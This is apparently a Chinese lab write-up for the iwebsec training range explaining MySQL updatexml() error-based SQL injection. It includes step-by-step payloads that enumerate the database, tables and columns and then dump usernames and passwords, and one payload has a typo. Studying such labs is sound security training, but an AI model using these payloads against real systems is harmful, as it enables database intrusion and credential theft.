当前位置: 首页 > news >正文

iwebsec-updatexml报错注入

原理分析

Updatexml()函数“updatexml(XML_document, XPath_string, new_value);”

参数描述
XML_documentString格式,为XML文档对象的名称,文中为Doc
XPath_stringXpath格式的字符串
new_valueString格式,替换查找到的符合条件的数据

即sql语句为“select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1”
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户
0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~

实战注入

1.判断是否存在漏洞,添加and 1=1# 页面正常回显,and 1=2# 页面回显异常,即存在sql注入漏洞

2.爆出数据库

id=1 and (updatexml(1,concat('~',(select database())),3))#

3.爆出表

id=1 and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schame=database())),3))#

4.爆出users表字段

id=1 and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3))#

5.爆数据

id=1 and (updatexml(1,concat('~',(select group_concat(username,',',password) from users)),3))#

 


http://www.mrgr.cn/news/95185.html

相关文章:

  • 尝试在软考66天前开始成为软件设计师-数据库系统
  • DeepSeek-R1深度解读
  • Git 使用笔记
  • 内网安全-横向移动Kerberos 攻击SPN 扫描WinRMWinRSRDP
  • 机器学习面试重点第二部分(动画版)
  • 高级java每日一道面试题-2025年3月04日-微服务篇[Eureka篇]-Eureka是什么?
  • 【笔记】计算机网络——数据链路层
  • 阿里云平台服务器操作以及发布静态项目
  • DevEco Studio的使用
  • OpenAI--Agent SDK简介
  • 虚拟电商-延迟任务系统的微服务改造(二)注册中心和Feign调用
  • Linux安装Elasticsearch集群-----docker安装es集群
  • 工业相机选型
  • liunx银河麒麟v10安装MYSQL8.3.0
  • c语言基础编程入门练习题
  • Kafka 八股文
  • 使用 Spring 的 FactoryBean 创建和获取 Bean 对象
  • SpringBoot 第二课(Ⅰ) 整合springmvc(详解)
  • 备赛蓝桥杯之第十六届模拟赛3期职业院校组
  • ffmpeg库视频硬解码使用流程